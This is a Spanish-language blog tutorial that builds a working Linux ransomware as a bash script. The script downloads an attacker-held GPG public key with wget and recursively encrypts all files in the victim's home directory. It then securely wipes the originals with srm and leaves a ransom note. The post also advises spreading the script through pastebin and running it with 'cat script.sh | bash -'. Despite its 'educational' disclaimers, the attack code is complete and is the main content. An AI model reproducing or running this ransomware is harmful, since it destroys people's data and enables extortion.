Hoy vamos a ver cómo crear un ransomware programado para Linux (será un shell script) utilizando GPG y el cifrado asimétrico; será más que nada un ejercicio didáctico pero claro que se puede llevar a la práctica (cosa que no recomiendo, en serio),
Si no sabes qué es un ransomware veamos lo que dice la wikipedia:
Un ransomware (del inglés ransom, «rescate», y ware, acortamiento de software) o “secuestro de datos” en español, es un tipo de programa dañino que restringe el acceso a determinadas partes o archivos del sistema operativo infectado, y pide un rescate a cambio de quitar esta restricción.
El ransomware que vamos a programar va a cifrar archivos con nuestra clave pública (que se va a descarga en la PC de la víctima), los cuales solo vamos a descifrar con nuestra clave privada (la cual solo posee el atacante).
Será un script de bash muy sencillo pero poderoso, con la única dependencia de GPG.
Descargo de responsabilidad
Como siempre lo digo, esto es para fines didácticos. No recomiendo usarlo en la vida real, puede tener consecuencias legales y esas cosas.
No me hago responsable de nada de lo que puedas hacer con esto.
En caso de que quieras probar el ransomware simplemente configura una máquina virtual o prueba en una PC de prueba 😉
Efectividad del ransomware
Como ventaja tenemos que los archivos van a estar encriptados con un sistema totalmente seguro, pues vamos a usar GPG, el cual se usa normalmente para proteger datos. Este sistema es utilizado por varias personas y no se ha logrado romper durante varios años.
Una desventaja es que la clave privada vamos a generarla antes de lanzar el ataque, así que si tenemos a dos usuarios, uno de ellos paga el rescate y le enviamos la clave privada, él podrá compartirla con los demás.
El problema anterior se solucionaría creando el par de claves en tiempo de ejecución y enviando la privada a un servidor; pero como eso hace el ataque más poderoso (y me da pereza hacerlo justo ahora) lo dejaré para otro post que involucre un lenguaje de programación, no simples comandos
Además, que la clave privada se quede “offline” en nuestra PC previene que se analice la RAM buscando la clave, así como se hace en otros ransomwares.
Generar clave pública y privada
Comencemos generando nuestra clave pública y nuestra clave privada. No voy a explicarlo a fondo porque esto ya lo expliqué en otro post.
La privada la guardamos y la pública la vamos a colocar de algún modo en la computadora de la víctima.
gpg --full-generate-key
Cuando hemos generado las claves vamos a exportar la pública con gpg --export --armor tu_correo > clave.key
:
Ya sé que en la imagen le puse la extensión gpg, me confundí, pero eso no importa. Para no hacer largo el script vamos a hacer que la clave se descargue dinámicamente; la he colocado en un gist:
-----BEGIN PGP PUBLIC KEY BLOCK-----
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
=qePl
-----END PGP PUBLIC KEY BLOCK-----
En el gist se puede acceder a la versión raw, como lo veremos más adelante.
Por el momento eso es todo lo necesario; no elimines tu clave privada porque con esa se van a desencriptar los archivos secuestrados.
Descargar e importar clave pública
A partir de aquí suponemos que estamos dentro del script que va a ejecutar la víctima.
Para descargar la clave vamos a usar wget:
wget -O clave.key url_de_la_clave.key
Para importarla:
gpg --import clave.key
Con eso habremos importado la clave. Ya tenemos todo listo para el secuestro.
Cifrado
Para cifrar un archivo con GPG y la clave que recién importamos se ejecuta:
gpg -r correo@dominio.com --encrypt archivo
Pero hay un gran inconveniente y es que GPG no confía, así que pregunta si realmente deseamos cifrar con esa clave.
Después de investigar encontré que se puede pasar la opción --trust-model
con el valor en always
para que no pregunte, así que:
gpg -r correo@dominio.com --trust-model always --encrypt archivo
Pero… ¿Cuál archivo vamos a cifrar? No, no vamos a cifrar un archivo; vamos a cifrar todos y cada uno.
Recorrer directorio de manera recursiva
Para recorrer todo el árbol de una carpeta de manera recursiva (es decir, leer los archivos y si hay carpetas leer lo que tienen las carpetas) se utiliza el comando find.
find /home/luis ! -name "*.key" -type f -not -path "*/\.*"
Se ve complicado al inicio (y lo es, es el resultado de muchas pestañas del navegador abiertas) pero podemos descomponerlo.
Con ! -name "*.key"
omitimos archivos que tengan la extensión .key
, así no encriptamos la clave.
El -type f
es para que sean únicamente archivos, y lo de -not -path "*/\.*"
es para que no ponga los archivos ocultos, es decir, los que comienzan con un punto.
Si lo queremos ver de cierto modo, ese comando regresa una lista de archivos sin importar su profundidad.
Nota: en el script se recorre (recursivamente) el directorio /home/usuario, el cual se obtiene con getent passwd "$USER" | cut -d: -f6
pero si quieres puedes apuntar a /
o a /home
; todo depende de los permisos y de lo que quieras hacer.
Explicación de exec y find
El comando find permite ejecutar cierta acción por cada archivo que encuentre. Por ejemplo:
find *.txt -type f -exec cat "{}"\;
Eso imprimiría el contenido de todos los archivos con extensión txt.
Presta atención a lo que va después de -exec
. Las llaves {}
indican el archivo que find
encuentra, así que si por ejemplo encuentra un archivo llamado hola.txt el comando se transformaría a:
cat "hola.txt"
El delimitador \;
es, como su nombre lo dice, un delimitador.
Se pueden pasar múltiples ejecuciones. Así:
find *.txt -type f -exec cat "{}"\; -exec rm "{}"\;
Entonces lo que haremos serán 3 cosas:
- Imprimir el nombre del archivo que estamos encriptando (para que se vea como película de hackers)
- Encriptar el archivo con gpg
- Eliminar el archivo con srm, así no se puede recuperar con photorec ni testdisk.
Por cierto, vamos a buscar todos los archivos: documentos de Word, presentaciones, libros PDF, recetas de cocina, fotos de perritos, aplicaciones, etcétera; excepto aquellas con extensión .key
Todo eso dentro de find
.
Nota: vamos a usar srm con el algoritmo por defecto, si quieres puedes usar otros como se indica en los comentarios de mi script o en esta página.
El rescate
Esto lo dejo a disposición del usuario, pero se debería proporcionar el correo y una dirección de pago, si quieres.
Para probar al usuario que eres justo puedes pedir que envíe un archivo, lo desencriptas con:
gpg --decrypt archivo.gpg > archivo.extension_original
Y se lo regresas. Recuerda que solo tú puedes desencriptar el archivo, pues solo tú posees la clave privada.
Poniendo todo junto
Hablar es de mal gusto, muéstrame el código.
Todo lo explicado puede ser puesto dentro de un script sh:
# Un ransomware con GPG
# Nota: no me hago responsable de lo que se haga con este archivo ;)
# @author parzibyte
URL_CLAVE_PUBLICA="https://gist.githubusercontent.com/parzibyte/fdbbc137fda4d653e4ff0b365f01623e/raw/715e0a9f860e24b6120fac2985cdfd0d24706eba/clave.gpg"
CORREO="parzibyte@protonmail.com"
NOMBRE_ARCHIVO="parzibyte.key"
# En este caso es /home/nombre_de_usuario ;)
# podría ser incluso / e incluso con sudo
DIRECTORIO_ENCRIPTAR=$(getent passwd "$USER" | cut -d: -f6)
# Descargar clave pública
echo "Descargando clave pública..."
wget -O $NOMBRE_ARCHIVO $URL_CLAVE_PUBLICA
# Importarla
echo "Importando clave pública..."
gpg --import $NOMBRE_ARCHIVO
# Nota: para cifrar se usa el siguiente comando:
#gpg -r $CORREO --trust-model always --encrypt $ARCHIVO
# Para eliminar de manera segura, el siguiente:
#srm archivo
# Nota: si quieres otros algoritmos de eliminaci´ón, pasa la opción. Por ejemplo:
#srm --gutmann archivo
#srm --rcmp archivo
#srm --doe archivo
# Pero se debe combinar con find para que cifre todos los archivos recursivamente ;)
echo "Comenzando a encriptar..."
find $DIRECTORIO_ENCRIPTAR ! -name "*.key" -type f -not -path "*/\.*" -exec echo "Encriptando archivo {}..." \; -exec gpg -r $CORREO --trust-model always --encrypt "{}" \; -exec srm "{}" \;
# Pedir rescate
RESCATE="Tus archivos fueron encriptados por un ransomware.
Paga 0 BTC a la dirección bla bla.
Si quieres probar, envíame un correo a $CORREO con el archivo encriptado y
te lo regreso desencriptado
NOTA: lo de arriba fue con propósitos educativos, no me hago responsable
si alguien utiliza este script
"
echo $RESCATE > "$DIRECTORIO_ENCRIPTAR/ayuda.txt"
El arte de esto no radica en cómo se programa el ransomware, sino en cómo se propaga, y eso depende de cada persona.
Una forma fácil es subirlo a pastebin o un servidor propio, y crear otro script que lo descargue y lo ejecute.
Para ejecutarlo sin darle permisos se puede pasar su contenido a bash. Una vez descargado:
cat script.sh | bash -
Y se va a ejecutar incluso sin permisos de superusuario.
Si quieres suprimir los mensajes no hagas echo
o redirige la salida a /dev/null
Conclusión
Faltan muchas validaciones, pero el ransomware funciona. Espero que este ejemplo sirva para dos cosas:
- Demostrar cómo se puede programar un ransomware
- Demostrar cómo se puede dañar nuestra computadora si ejecutamos un script sin saber interpretar su contenido
De nuevo lo digo: no me hago responsable de lo que esto pueda causar.
Finalmente dejo el vídeo en YT para demostrar su uso. Si lo ves, no dudes sucribirte:
Esta muy bueno, Lo que creo que falta es un script el cual desencripte todo XD
Pingback: Instalar Node.js y NPM en Ubuntu - Parzibyte's blog